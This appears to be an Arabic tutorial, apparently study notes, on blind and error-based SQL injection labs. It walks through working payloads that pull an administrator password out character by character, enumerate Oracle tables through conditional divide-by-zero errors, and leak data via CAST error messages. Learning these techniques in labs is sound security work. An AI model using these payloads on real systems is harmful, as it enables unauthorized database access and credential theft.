4. شرح أكواد استخراج البيانات (Data Extraction)
الآن نريد سحب كلمة مرور مدير النظام (Administrator) من جدول الـ Users. وبما أننا لا نستطيع رؤيتها دفعة واحدة، سنقوم بتخمينها حرفاً بحرف باستخدام دالة SUBSTRING.
فهم دالة SUBSTRING أولاً:
الدالة تأخذ ثلاثة أشياء: SUBSTRING(النص المراد تقطيعه, رقم الحرف الذي سنبدأ من عنده, عدد الحروف المراد قطعها). مثال: لو كانت كلمة المرور هي secret:
-
SUBSTRING('secret', 1, 1)تعني: هات الحرف الأول فقط، والنتيجة هي's'. -
SUBSTRING('secret', 2, 1)تعني: هات الحرف الثاني فقط، والنتيجة هي'e'.
تحليل الأكواد المحقونة خطوة بخطوة:
-
المحاولة الأولى (هل الحرف أكبر من m؟):
SQL
xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) > 'm-
الشرح: طلبنا من القاعدة جلب كلمة مرور الـ Administrator، واقتطاع الحرف الأول فقط منها
(1, 1)، وسألنا القاعدة: "هل هذا الحرف أكبر من حرفmفي الترتيب الأبجدي؟". -
النتيجة: ظهرت جملة "Welcome back". هذا يعني أن الشرط صحيح (True)، وعرفنا أن الحرف الأول يقع في النصف الثاني من الحروف الأبجدية (بعد الـ m).
-
-
المحاولة الثانية (هل الحرف أكبر من t؟):
SQL
xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) > 't-
الشرح: نضيق الخناق الآن وسألنا: "هل الحرف الأول أكبر من
t؟". -
النتيجة: لم تظهر جملة "Welcome back". هذا يعني أن الشرط خاطئ (False)، وعرفنا أن الحرف ليس أكبر من
t. إذن الحرف يقع بينmوt.
-
-
المحاولة الثالثة (هل الحرف يساوي s؟):
SQL
xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) = 's-
الشرح: بعد تجربة بعض الحروف بين m و t، سألنا مباشرة: "هل الحرف الأول يساوي
s؟". -
النتيجة: ظهرت جملة "Welcome back"! الشرط صحيح (True). مبروك، لقد عرفت الحرف الأول من كلمة المرور وهو
s.
-
ماذا يحدث بعد ذلك؟
تنتقل إلى الحرف الثاني بتغيير الرقم في الدالة ليصبح (2, 1) وتكرر نفس العملية:
SQL
xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 2, 1) = 'a'
وتستمر هكذا بشكل نظامي ومتكرر (Systematically) حتى تستخرج كلمة المرور الكاملة.
تركيبة دالة SUBSTRING
الدالة بتاخد 3 أجزاء: SUBSTRING(النص, البداية, الطول)
-
الرقم الأول (البداية - Start): بيمثل رقم الحرف (Position) اللي هنبدأ نقطع من عنده.
-
يعني لو الرقم
1، معناها "ابدأ من الحرف الأول". -
لو الرقم
2، معناها "ابدأ من الحرف الثاني". -
(ملاحظة: SQL بتبدأ العد من 1، مش من 0 زي Python أو أغلب لغات البرمجة).
-
-
الرقم الثاني (الطول - Length): بيمثل عدد الحروف اللي عاوزين نقتطعها من النص.
- بما إننا بنخمن الباسورد حرفاً بحرف، فاحنا دائماً بنخلي الرقم ده
1(يعني هات لي حرف واحد فقط).
- بما إننا بنخمن الباسورد حرفاً بحرف، فاحنا دائماً بنخلي الرقم ده
مثال للتوضيح:
لنفترض أن كلمة المرور اللي طلعت من الجدول هي كلمة carlos:
-
SUBSTRING('carlos', 1, 1)-
المعنى: ابدأ من الحرف الأول، واقطع حرف واحد.
-
النتيجة:
'c'
-
-
SUBSTRING('carlos', 2, 1)-
المعنى: ابدأ من الحرف الثاني، واقطع حرف واحد.
-
النتيجة:
'a'
-
-
SUBSTRING('carlos', 4, 2)(مثال خارجي للفهم)-
المعنى: ابدأ من الحرف الرابع، واقطع حرفين.
-
النتيجة:
'lo'
-
الخلاصة: في هجوم الحقن الأعمى (Blind SQLi)، احنا بنثبت الرقم الثاني على 1 (لأننا بنختبر حرف واحد في المرة)، وبنزود الرقم الأول تدريجياً (1, 1) ثم (2, 1) ثم (3, 1) عشان السكريبت يتحرك ويختبر كل حروف كلمة المرور بالترتيب من الشمال لليمين.
-
المشكلة الأولى (
WHERE table_name='User'): أنت هنا بتطلب من قاعدة البيانات إنها تدور على جدول اسمهUserتحديداً. لو أنت لسه مش عارف أسماء الجداول أصلاً، فاستخدام جملةWHEREبالشكل ده هيفشل العملية، لأنك بتدور على حاجة أنت افترضت اسمها مسبقاً. -
المشكلة الثانية (Subquery returns more than 1 row): لو مسحنا جملة
WHEREعلشان نجيب كل الجداول(SELECT table_name FROM information_schema.tables)، الاستعلام ده هيرجع عشرات أو مئات الجداول دفعة واحدة. دالةSUBSTRINGمصممة إنها تقطع "نص واحد فقط"، فلما تدخلها مئات الأسماء في نفس الوقت، قاعدة البيانات هتطلع خطأ (Error) ومش هتكمل الكود.
الحل: استخدام LIMIT و OFFSET
علشان الكود يشتغل، لازم تجبر قاعدة البيانات إنها ترجع لك اسم جدول واحد فقط في كل مرة. بنعمل ده عن طريق أوامر التحديد:
-
LIMIT 1: معناها "هات لي نتيجة واحدة فقط". -
OFFSET 0: معناها "ابدأ من النتيجة رقم صفر" (يعني أول جدول في القائمة).
شكل الكود الصحيح (المفاهيمي):
SQL
' AND SUBSTRING((SELECT table_name FROM information_schema.tables LIMIT 1 OFFSET 0), 1, 1) = 'a'-- -
إزاي تتحرك جوه البيانات؟ (The Iteration Process)
بما إنك شغال Blind (أعمى)، أنت هنا محتاج تحرك ثلاثة أرقام علشان تستخرج كل أسماء الجداول بالكامل:
1. تخمين الحرف نفسه (الحرف الأول، الثاني، إلخ): بتغير الحرف اللي بعد علامة يساوي:
-
... = 'a' -
... = 'b' -
... = 'c'(لحد ما الموقع يرجع لك استجابة صحيحة "True").
2. التحرك داخل نفس اسم الجدول (من الحرف الأول للثاني): لما تلاقي الحرف الأول، بتغير الرقم الأول في دالة SUBSTRING علشان تجيب الحرف اللي بعده:
-
الحرف الأول:
SUBSTRING(..., 1, 1) -
الحرف الثاني:
SUBSTRING(..., 2, 1) -
الحرف الثالث:
SUBSTRING(..., 3, 1)(لحد ما اسم الجدول الأول يخلص).
3. الانتقال للجدول التالي (السر في الـ OFFSET): بعد ما تخلص تخمين اسم "أول جدول" بالكامل، محتاج تنقل على "تاني جدول" في قاعدة البيانات. هنا بتغير رقم الـ OFFSET:
-
الجدول الأول:
LIMIT 1 OFFSET 0 -
الجدول الثاني:
LIMIT 1 OFFSET 1 -
الجدول الثالث:
LIMIT 1 OFFSET 2 -
وهكذا...
ملاحظة أخيرة: عشان كده بالظبط في الـ Blind SQLi بنعتمد على الـ Automation (زي Burp Intruder أو Python Scripts)، لأنك محتاج تعمل آلاف الطلبات عشان تلوب (Loop) على الحروف، وبعدين تلوب على الأعمدة، وبعدين تلوب على الجداول!
هنا ننتقل إلى مستوى أعلى من التحدي والذكاء في التعامل مع ثغرات الـ Blind SQLi. في الدرس السابق، كنا نعتمد على أن الموقع يغير استجابته (مثل إخفاء أو إظهار كلمة "Welcome back"). لكن ماذا لو كان الموقع "عنيداً" ولا يغير شكل الصفحة أبداً مهما كانت نتيجة الاستعلام؟
هنا يأتي دور الحقن المبني على الأخطاء (Error-based SQL Injection)، وتحديداً استخدام الأخطاء المشروطة (Conditional Errors).
إليك الشرح المفصل لهذا التكتيك الخبيث:
1. ما هو الحقن المبني على الأخطاء؟
بدلاً من الاعتماد على تغير محتوى الصفحة، نحن نحاول إجبار قاعدة البيانات نفسها على إحداث "خطأ برمجي" (Error) يتبعه انهيار جزئي في الصفحة (مثل ظهور رسالة خطأ، أو تحول حالة الصفحة إلى HTTP 500 Internal Server Error).
النص يقسم هذا الهجوم إلى نوعين:
-
الأخطاء المرئية (Verbose Errors): قاعدة البيانات تُرجع رسالة خطأ صريحة تحتوي على البيانات التي نريدها (مثل: "خطأ: المستخدم admin123 غير موجود"). هذا يحول الثغرة من أعمى (Blind) إلى مرئي.
-
الأخطاء المشروطة (Conditional Errors): وهو موضوعنا هنا. نحن نربط حدوث الخطأ بـ "شرط معين". إذا تحقق الشرط، يحدث الخطأ. وإذا لم يتحقق، تعمل الصفحة بشكل طبيعي.
2. الخدعة الرياضية: القسمة على صفر (1/0)
في عالم الرياضيات والبرمجة، "القسمة على صفر" عملية مستحيلة وتتسبب في انهيار (Crash) فوري لأي محرك قاعدة بيانات وتوليد خطأ (Divide-by-zero error). نحن سنستخدم هذه الحقيقة كسلاح!
للقيام بذلك، نستخدم جملة الشرط CASE WHEN المدمجة في لغة SQL، والتي تعمل كالتالي:
-
WHEN(إذا كان الشرط كذا) -
THEN(نفذ كذا) -
ELSE(وإلا، نفذ كذا) -
END(نهاية الجملة)
3. تحليل أكواد الاستغلال (Payloads)
دعنا نحلل الكودين المذكورين في النص لنفهم كيف تتم عملية "الاستجواب":
-
المحاولة الأولى (شرط خاطئ):
SQL
xyz' AND (SELECT CASE WHEN (1=2) THEN 1/0 ELSE 'a' END)='a-
المنطق: نحن نسأل القاعدة "هل 1 تساوي 2؟". الإجابة طبعاً لا (False).
-
النتيجة: بما أن الشرط لم يتحقق، سيتخطى المحرك أمر الـ
THENويذهب إلىELSEويرجع حرف'a'. وبالتالي يصبح الكود النهائي'a'='a'وهو كود سليم لا يسبب مشاكل. الصفحة ستعمل بشكل طبيعي.
-
-
المحاولة الثانية (شرط صحيح):
SQL
xyz' AND (SELECT CASE WHEN (1=1) THEN 1/0 ELSE 'a' END)='a-
المنطق: نحن نسأل "هل 1 تساوي 1؟". الإجابة نعم (True).
-
النتيجة: بما أن الشرط تحقق، سيقوم المحرك بتنفيذ أمر الـ
THENويحاول حساب1/0. هنا تنهار قاعدة البيانات وتُصدر خطأ. الصفحة ستظهر لك رسالة خطأ أو ستسقط.
-
4. دمج التكتيك لاستخراج البيانات (Data Extraction)
الآن، نحن نمتلك أداة تجعل الموقع ينهار فقط عندما تكون إجابتنا "نعم". سنقوم بدمج هذا التكتيك مع دالة SUBSTRING التي تعلمناها في الدرس السابق لاستخراج كلمات المرور:
SQL
xyz' AND (SELECT CASE WHEN (Username = 'Administrator' AND SUBSTRING(Password, 1, 1) > 'm') THEN 1/0 ELSE 'a' END FROM Users)='a
كيف يقرأ السيرفر هذا الهجوم؟
-
سيذهب لجدول
Usersويبحث عنAdministrator. -
سيقتطع الحرف الأول من كلمة المرور
SUBSTRING(Password, 1, 1). -
سيختبر الشرط: "هل هذا الحرف أكبر من حرف m؟".
-
إذا كان أكبر من m (الشرط صحيح True): سيحاول قسمة 1 على 0، فيحدث خطأ، وتنهار الصفحة. (عرفنا الإجابة!).
-
إذا لم يكن أكبر من m (الشرط خاطئ False): سيرجع حرف
'a'، وتعمل الصفحة بشكل طبيعي بدون أخطاء. (عرفنا الإجابة أيضاً!).
ملاحظة احترافية: طريقة 1/0 ممتازة، ولكن كما أشار النص في نهايته، محركات قواعد البيانات تختلف عن بعضها. بعض الأنظمة قد تتجاهل القسمة على صفر، وفي هذه الحالة نلجأ إلى طرق أخرى لتوليد الأخطاء (مثل استخدام دوال رياضية خاطئة أو تحويل نصوص إلى أرقام بشكل غير قانوني). وهذا ما يجعل الـ SQL Injection Cheat Sheets صديقك المفضل دائماً!
تفكير سليم وعاش جداً على الشغف ده! إنك تغير سيناريو اللاب وتبدأ من مرحلة استكشاف أسماء الجداول (Table Enumeration) بنفسك هي أفضل طريقة لكسر جمود الخطوات الجاهزة وفهم الـ Blind SQLi كأنك في بيئة عمل حقيقية (Black-box Test).
بما أننا أثبتنا في الخطوات السابقة أن قاعدة البيانات هي Oracle، وبما أننا نستخدم الـ Concatenation (||) والـ Error-based (القسمة على صفر المُغلفة بـ TO_CHAR)، سنقوم بتركيب "السلاح المخصص" لقراءة الجداول.
في Oracle، يتم تخزين أسماء الجداول في جدول النظام الشهير all_tables أو user_tables (والثاني أسهل لأنه يعرض الجداول الخاصة بالمستخدم الحالي فقط دون جداول النظام المعقدة).
إليك الأكواد بالترتيب وكيف ستطبقها:
الخطوة 1: معرفة طول (عدد حروف) اسم أول جدول
قبل أن تخمن الحروف، يفضل أن تعرف اسم الجدول كم حرف لكي تضبط الـ Intruder. سنستخدم دالة LENGTH مع جدول النظام user_tables.
- الكود:
SQL
TrackingId=xyz'||(SELECT CASE WHEN LENGTH(table_name)>1 THEN TO_CHAR(1/0) ELSE '' END FROM user_tables WHERE ROWNUM=1)||'
-
لماذا استخدمنا
ROWNUM=1؟ لأن جدولuser_tablesيحتوي على صفوف كثيرة (كل جداول الموقع). بدون تحديدROWNUM=1سيرجع الاستعلام جداول كثيرة دفعة واحدة ويفشل الـ Concatenation. هذه الجملة تضمن أننا نركز على أول جدول في القائمة فقط. -
التطبيق: أرسل الطلب لـ Burp Repeater، وغير الرقم تدريجياً (
>1,>2,>3...) حتى يختفي خطأ الـ 500 ويعود الموقع طبيعياً (200 OK)، عند هذه النقطة ستعرف طول اسم الجدول بالضبط.
الخطوة 2: استخراج اسم أول جدول (حرفاً بحرف)
الآن بعد أن عرفت الطول، سنستخدم دالة SUBSTR الخاصة بـ Oracle لاستخراج الحروف داخل Burp Intruder.
- الكود:
SQL
TrackingId=xyz'||(SELECT CASE WHEN SUBSTR(table_name,1,1)='§a§' THEN TO_CHAR(1/0) ELSE '' END FROM user_tables WHERE ROWNUM=1)||'
-
التطبيق في الـ Intruder:
-
حدد حرف الـ
aكـ Payload Position. -
في قائمة الـ Payloads، أضف الحروف الكبيرة A-Z (ملحوظة مهمة جداً: Oracle تخزن أسماء الجداول بحروف كبيرة دائماً Uppercase، فلو جربت حروفاً صغيرة لن تنجح!). وأضف معها الأرقام وعلامة الأندر سكور
_لأن أسماء الجداول قد تحتوي عليها. -
ابدأ الهجوم، والحرف الذي يعطيك HTTP 500 هو الحرف الأول.
-
عد لتعديل الدالة إلى
SUBSTR(table_name,2,1)واكتشف الحرف الثاني، وهكذا حتى يكتمل الاسم (مثلاً تجد أن الاسم طلع معكUSERS).
-
الخطوة 3: كيف ننتقل لاسم الجدول الثاني؟ (الخدعة في Oracle)
في المحادثة السابقة، أخبرتك أننا في قواعد البيانات الأخرى نستخدم LIMIT 1 OFFSET 1. لكن Oracle (خصوصاً الإصدارات القديمة منها) لا تفهم OFFSET بهذا الشكل البسيط، وتعتمد على ROWNUM.
إذا أردنا قراءة الجدول الثاني، لا يمكننا كتابة ROWNUM=2 مباشرة (لأن ROWNUM في Oracle يتم حسابه ديناميكياً ويبدأ دائماً من 1، فـ ROWNUM=2 ستُرجع false دائماً!).
لحل هذه المعضلة في Oracle، نستخدم استعلاماً متداخلاً (Nested Query) لكي نثبت أرقام الصفوف أولاً كأعمدة وهمية، كالتالي:
- كود استخراج الحرف الأول من "الجدول الثاني":
SQL
TrackingId=xyz'||(SELECT CASE WHEN SUBSTR(table_name,1,1)='§a§' THEN TO_CHAR(1/0) ELSE '' END FROM (SELECT table_name, rownum AS rn FROM user_tables) WHERE rn=2)||'
-
الشرح البرمجي:
-
الجزء
(SELECT table_name, rownum AS rn FROM user_tables)يقوم بعمل نسخة مؤقتة من الجداول ويعطي كل جدول رقماً ثابتاً في عمود اسمهrn. -
الجزء الخارجي
WHERE rn=2يقوم الآن باستهداف الجدول الثاني بأمان وبشكل مضمون. -
إذا أردت الجدول الثالث ستغيرها إلى
rn=3وهكذا.
-
بهذه الطريقة، يمكنك كشف الخريطة الكاملة لقاعدة البيانات (Database Schema) واكتشاف أي جداول مخفية لم يذكرها سيناريو اللاب الأصلي! هل واضحة لك فكرة الـ rownum المتداخلة في Oracle؟
Blind SQL injection with conditional errors LAB:
المرحلة الأولى: الاستكشاف وبصمة القاعدة (Recon & Fingerprinting)
في هذه المرحلة، نحن لا نهاجم، بل نتحسس النظام لنفهم كيف يعمل.
-
اختبار الثغرة: بوضع علامة
'في الـTrackingIdظهر خطأ، وبوضع''اختفى الخطأ. هذا يؤكد أن الإدخال غير مفلتر ويؤثر على سياق الـ SQL. -
تحديد نوع قاعدة البيانات:
-
حاولنا دمج استعلام فارغ هكذا:
'||(SELECT '')||'ولكن ظهر خطأ. -
هذا يعني أن محرك قاعدة البيانات يرفض استعلام
SELECTبدونFROM. -
قمنا بالتعديل ليصبح:
'||(SELECT '' FROM dual)||'. اختفى الخطأ! -
الاستنتاج: الهدف يعمل بقاعدة بيانات Oracle (لأنها الوحيدة التي تستخدم جدول
dualالوهمي)، وأداة الدمج (Concatenation) التي يجب استخدامها هي الـ||بدلاً منAND.
-
المرحلة الثانية: تأكيد الهدف
نريد التأكد من وجود جدول users.
-
الكود:
'||(SELECT '' FROM users WHERE ROWNUM = 1)||' -
لماذا
ROWNUM = 1؟ لو كان الجدول يحتوي على 10 مستخدمين، فإن الاستعلام سيرجع 10 صفوف. عملية الدمج||لا يمكنها دمج 10 صفوف في مساحة واحدة، وسيحدث خطأ (Error) قد تظن بسببه أن الجدول غير موجود.ROWNUM = 1تجبر القاعدة على إرجاع صف واحد فقط لضمان نجاح الدمج. بما أن الخطأ لم يظهر، فالجدول موجود.
المرحلة الثالثة: بناء "السلاح" (الخطأ المشروط)
هنا يظهر الحل الذكي للمشكلة التي ناقشناها سابقاً بخصوص الـ 1/0!
-
الكود:
'||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM dual)||' -
الخدعة هنا هي
TO_CHAR(1/0): بدلاً من كتابة1/0وتوليد تعارض بين الأرقام والنصوص (Data Type Mismatch) لأن الـELSEترجع نصاً فارغاً''، قام بوضع دالةTO_CHAR(). هذه الدالة تأخذ ناتج القسمة (سواء كان خطأ أو رقماً) وتغلفه في شكل "نص" (String). بهذه الطريقة، أصبح الـTHENوالـELSEكلاهما يُرجعان نصوصاً، وتفادينا أي أخطاء برمجية (Syntax Errors)، وأصبحنا نتحكم بالخطأ الرياضي فقط!
المرحلة الرابعة: استخراج طول كلمة المرور (Repeater)
قبل أن نستخرج الكلمة حرفاً بحرف، يجب أن نعرف طولها لكي نعرف متى نتوقف.
-
الكود:
... CASE WHEN LENGTH(password)>1 THEN TO_CHAR(1/0) ... -
ستقوم بزيادة الرقم في Burp Repeater يدوياً (
>2,>3,>4...). -
طالما أنك تستقبل رد HTTP 500 (Error)، فهذا يعني أن الشرط صحيح (طول الباسورد أكبر من الرقم الذي أدخلته).
-
عندما تصل مثلاً إلى
>20وتجد أن الموقع رد بـ HTTP 200 OK، فهذا يعني أن الخطأ اختفى وأن الشرط أصبح خاطئاً. إذن، الباسورد ليس أكبر من 20. طول الباسورد هو 20 حرفاً.
المرحلة الخامسة: استخراج الباسورد بالكامل (Intruder)
الآن حان وقت العمل الآلي (Automation) لاستخراج الـ 20 حرفاً باستخدام دالة SUBSTR (النسخة الخاصة بـ Oracle من SUBSTRING).
-
إعداد الكود:
... CASE WHEN SUBSTR(password,1,1)='a' THEN TO_CHAR(1/0) ... -
إعداد Burp Intruder:
-
تضع علامة الـ Payload
§حول الحرف الأخير فقط ليصبح='§a§'. -
تختار نوع الهجوم Sniper.
-
في الـ Payloads، تضع الحروف من a-z والأرقام من 0-9.
-
-
تنفيذ الهجوم وتحليل النتائج:
-
تبدأ الهجوم وتضغط على عمود الـ
Statusلترتيب النتائج. -
الحرف الوحيد الذي سيُرجع كود 500 Internal Server Error هو الحرف الصحيح (لأن الشرط تحقق وتمت القسمة على صفر).
-
-
التكرار:
- تعود إلى صفحة الإعدادات، وتغير الرقم الأول في دالة القطع ليصبح
SUBSTR(password,2,1)للبحث عن الحرف الثاني، وتشغل الهجوم من جديد. وتكرر العملية 20 مرة حتى تجمع الباسورد بالكامل.
1. كود الفحص الأولي وكسر السياق
- تعود إلى صفحة الإعدادات، وتغير الرقم الأول في دالة القطع ليصبح
-
الكود:
TrackingId=xyz' -
شرحه برمجياً: قمنا بإضافة علامة اقتباس مفردة واحدة زائدة إلى قيمة الـ Cookie الأصلية.
-
لماذا استخدمناه؟ لكسر الاستعلام في الخلفية بشكل متعمد. إذا رد الموقع بخطأ (Error)، فهذا يثبت أن المدخلات تذهب مباشرة إلى محرك قاعدة البيانات بدون فلترة، وهي أول إشارة لوجود ثغرة SQLi.
-
الكود:
TrackingId=xyz'' -
شرحه برمجياً: أضفنا علامتي اقتباس مفردتين متتاليتين. في لغة SQL، الاقتباس المزدوج داخل النص يُفهم على أنه نص عادي وليس نهاية للاستعلام.
-
لماذا استخدمناه؟ لإصلاح السياق الذي كسرناه في الخطوة السابقة. إذا اختفى الخطأ وعادت الصفحة طبيعية، فهذا يؤكد 100% أن الخطأ الأول كان بسبب SQL Syntax Error وليس خطأً عاماً في السيرفر.
2. أكواد تحديد نوع قاعدة البيانات (Fingerprinting)
-
الكود:
TrackingId=xyz'||(SELECT '')||' -
شرحه برمجياً: استخدمنا معامل الدمج
||لربط الـ Cookie باستعلام فرعي فارغ(SELECT ''). -
لماذا استخدمناه؟ حاولنا دمج استعلام فرعي لملء الفراغ، ولكن الموقع أرجع خطأ. هذا الخطأ معناه أن المحرك يرفض دالة
SELECTبدون تحديد جدول (FROM). -
الكود:
TrackingId=xyz'||(SELECT '' FROM dual)||' -
شرحه برمجياً: أضفنا
FROM dualللاستعلام السابق، وdualهو جدول وهمي افتراضي موجود في نظام Oracle فقط. -
لماذا استخدمناه؟ عندما أضفنا
dualواختفى الخطأ، عرفنا فوراً وبشكل قاطع أن قاعدة البيانات الخلفية هي Oracle، وبالتالي كل الأكواد القادمة يجب أن تُكتب بصيغة Oracle. -
الكود:
TrackingId=xyz'||(SELECT '' FROM not-a-real-table)||' -
شرحه برمجياً: استعلمنا عن جدول باسم عشوائي غير موجود في الواقع (
not-a-real-table). -
لماذا استخدمناه؟ للتأكد من أن قاعدة البيانات تقوم بمعالجة وتنفيذ استعلامنا فعلياً. بما أن الموقع أرجع خطأ (لأن الجدول غير موجود)، فهذا يثبت أننا نتحكم في مسار الاستعلام بنجاح.
3. كود كشف جدول المستخدمين
-
الكود:
TrackingId=xyz'||(SELECT '' FROM users WHERE ROWNUM = 1)||' -
شرحه برمجياً: استعلمنا عن جدول اسمه
users(وهو الاسم الشائع لجداول المستخدمين)، وأضفنا شرطWHERE ROWNUM = 1. -
لماذا استخدمناه؟ للتأكد من وجود جدول بهذا الاسم. وشرط
ROWNUM = 1مهم جداً هنا في بيئة Oracle؛ لأنه يجبر الاستعلام على إرجاع صف واحد فقط، فلو أرجع الجدول صفوفاً كثيرة ستفشل عملية الدمج||ويظهر خطأ مضلل. عدم ظهور الخطأ هنا يعني أن جدولusersموجود فعلاً.
4. كود اختبار "السلاح" (الخطأ المشروط)
-
الكود:
TrackingId=xyz'||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM dual)||' -
شرحه برمجياً: استخدمنا جملة
CASEالشرطية. الشرط هو1=1(صحيح دائماً)، وبالتالي سينفذ جزء الـTHENوهو القسمة على صفر1/0. وقمنا بتغليفها داخل دالةTO_CHAR()لتحويل الناتج إلى نص ليتطابق مع نوع بيانات الـELSEالتي ترجع نصاً فارغاً''. -
لماذا استخدمناه؟ هذا هو الكود الأهم؛ استخدمناه للتأكد من أننا نستطيع توليد خطأ بناءً على شرط صحيح. بما أن
1=1صحيحة، فالموقع سينفذ القسمة على صفر ويرد بـ HTTP 500 Error. -
الكود:
TrackingId=xyz'||(SELECT CASE WHEN (1=2) THEN TO_CHAR(1/0) ELSE '' END FROM dual)||' -
شرحه برمجياً: نفس الكود السابق ولكن غيرنا الشرط ليكون
1=2(خاطئ دائماً). -
لماذا استخدمناه؟ للتأكد من الطرف الآخر للميزان؛ بما أن الشرط خاطئ، سيتخطى القسمة على صفر ويذهب للـ
ELSEويرجع نصاً فارغاً، فتفتح الصفحة طبيعية HTTP 200 OK. الآن أصبحنا نمتلك قناة اتصال: (خطأ 500 = نعم) / (طبيعي 200 = لا).
5. كود كشف حساب الـ Administrator
-
الكود:
TrackingId=xyz'||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||' -
شرحه برمجياً: نقلنا سياق استعلام الـ
CASEمن الجدول الوهمي إلى جدول الـusersالفعلي، وحددنا السطر الخاص بالمستخدمadministrator. -
لماذا استخدمناه؟ للتأكد من وجود مستخدم بهذا الاسم؛ فإذا كان الاسم موجوداً، سيتحقق الاستعلام وينفذ الـ
CASE(التي بداخلها شرط 1=1 الصحيح دائماً) فتقع القسمة على صفر ويظهر خطأ 500. ظهور الخطأ أكد لنا وجود الحساب.
6. كود استخراج طول كلمة المرور
-
الكود:
TrackingId=xyz'||(SELECT CASE WHEN LENGTH(password)>1 THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||' -
شرحه برمجياً: استبدلنا الشرط الافتراضي
1=1بدالةLENGTH(password)>1والتي تسأل عن طول كلمة مرور الـ administrator. -
لماذا استخدمناه؟ لمعرفة عدد حروف الباسورد. نقوم بإرسال هذا الكود إلى Burp Repeater ونغير الرقم تدريجياً (
>1,>2,>3...)، وطالما الموقع يعطي خطأ 500 فالطول أكبر من الرقم. عندما وصلنا إلى>20واختفى الخطأ (HTTP 200)، عرفنا أن الشرط أصبح خاطئاً، وبالتالي الطول هو 20 حرفاً بالضبط.
7. كود استخراج الحروف (مرحلة الـ Intruder)
-
الكود:
TrackingId=xyz'||(SELECT CASE WHEN SUBSTR(password,1,1)='§a§' THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||' -
شرحه برمجياً: استخدمنا دالة
SUBSTR(password,1,1)لاقتطاع الحرف الأول فقط، ووضعنا علامات الـ Payload§a§لتقوم أداة Burp Intruder بتجربة كل الحروف والأرقام مكان هذا الحرف. -
لماذا استخدمناه؟ لمعرفة القيمة الفعلية لكل حرف. أرسلنا الكود للـ Intruder، والحرف الذي جعل الموقع يرد بـ HTTP 500 هو الحرف الصحيح (لأن المساواة تحقق الشرط فتمت القسمة على صفر). بعد معرفة الحرف الأول، نغير يدوياً إعدادات الدالة إلى
SUBSTR(password,2,1)لمعرفة الحرف الثاني، ونعيد تشغيل الـ Intruder، وهكذا حتى نجمع الـ 20 حرفاً كاملة.
Extracting sensitive data via verbose SQL error messagesExtracting sensitive data via verbose SQL error messages:
1. كشف بنية الاستعلام (Verbose Errors & Query Structure)
الفقرة الأولى تتحدث عن خطأ برمجي شائع، وهو أن الخادم (Server) يكون مبرمجاً ليظهر "رسائل خطأ تفصيلية" (Verbose Errors) للمستخدم بدلاً من رسائل عامة مثل "حدث خطأ".
عندما تقوم بإدخال علامة اقتباس فردية (') في حقل الإدخال (مثلاً الـ ID)، أنت تفسد بناء الجملة (Syntax) الخاصة بـ SQL. الخادم يرد برسالة خطأ مثل:
Unterminated string literal started at position 52 in SQL SELECT * FROM tracking WHERE id = '''. Expected char
لماذا هذا مفيد للمهاجم؟
-
رؤية الكود المخفي: رسالة الخطأ كشفت لك الكود الفعلي الموجود في الـ Backend وهو:
SELECT * FROM tracking WHERE id = '...'. -
تسهيل الحقن: الآن أنت لست "أعمى" تماماً. أنت تعرف أن إدخالك يتم وضعه داخل علامات اقتباس فردية (
'). لذلك، لكي تنجح في كتابة Payload سليم، يجب عليك إغلاق علامة الاقتباس الأولى، كتابة الكود الخبيث الخاص بك، ثم إضافة علامة تعليق (مثل--أو#) لتجاهل باقي الكود الأصلي وتجنب كسر الـ Syntax.
2. استخراج البيانات باستخدام رسائل الخطأ (Error-Based Extraction)
هذا هو الجزء الأهم. عادةً في الـ Blind SQLi، أنت لا ترى نتيجة الاستعلام (لا تظهر لك بيانات من الجداول). تضطر حينها لاستخدام تقنيات تعتمد على الوقت (Time-based) أو الصح والخطأ (Boolean-based) لتخمين البيانات حرفاً بحرف.
لكن، إذا كانت قاعدة البيانات تظهر رسائل خطأ تفصيلية، يمكنك "إجبارها" على وضع البيانات الحساسة داخل رسالة الخطأ نفسها!
كيف تعمل خدعة الـ CAST()؟ دالة CAST() في SQL تُستخدم لتحويل البيانات من نوع إلى آخر (مثلاً من نص إلى رقم). النص الذي تدرسه يقترح استخدام Payload يشبه هذا:
SQL
CAST((SELECT example_column FROM example_table) AS int)
شرح السيناريو الذي يحدث في الـ Backend:
-
تنفيذ الاستعلام الفرعي (Subquery): قاعدة البيانات ستقوم أولاً بتنفيذ الجزء الذي بين الأقواس
SELECT example_column FROM example_table. لنفترض أن هذا الاستعلام يجلب كلمة مرور أدمن، وقيمتها هي"AdminP@ss". -
محاولة التحويل (Type Conversion): الآن ستحاول الدالة
CASTتحويل النص"AdminP@ss"إلى رقم صحيح (Integer) لأنك طلبت منها ذلك عبرAS int. -
الاصطدام (The Error): قاعدة البيانات ستفشل في تحويل حروف إلى رقم، وستصدر رسالة خطأ فورية تقول:
ERROR: invalid input syntax for type integer: "AdminP@ss"
النتيجة: مبروك! لقد حصلت على البيانات الحساسة (AdminP@ss) مطبوعة بشكل صريح أمامك على الشاشة داخل رسالة الخطأ، ووفرت على نفسك عناء التخمين الأعمى.
3. تخطي حدود الحروف (Bypassing Character Limits)
في الجملة الأخيرة، يذكر النص أن هذه الطريقة مفيدة إذا كان هناك قيود على عدد الحروف المسموح بإدخالها (Character Limit). الـ Payloads المستخدمة في الـ Blind SQLi (مثل التي تستخدم دوال SLEEP أو الشروط المعقدة IF/CASE) تكون عادة طويلة وتتكون من حروف كثيرة. بينما استدعاء خطأ باستخدام CAST() يكون قصيراً ومباشراً، مما يجعله مثالياً لتخطي فلاتر الطول (Length Filters).
Visible error-based SQL injection LAB:
Unterminated string literal started at position 95 in SQL SELECT * FROM tracking WHERE id = '83MPPGdX20YXPoNS'CAST((SELECT username FROM users) AS int) -'. Expected char
ممتاز جداً! هذا التطبيق العملي هو بالضبط ما يثبت فهمك. رسالة الخطأ التي ظهرت لك هنا هي خطأ في الـ Syntax (بناء الجملة)، وليست رسالة خطأ استخراج البيانات (CAST Error) التي نبحث عنها.
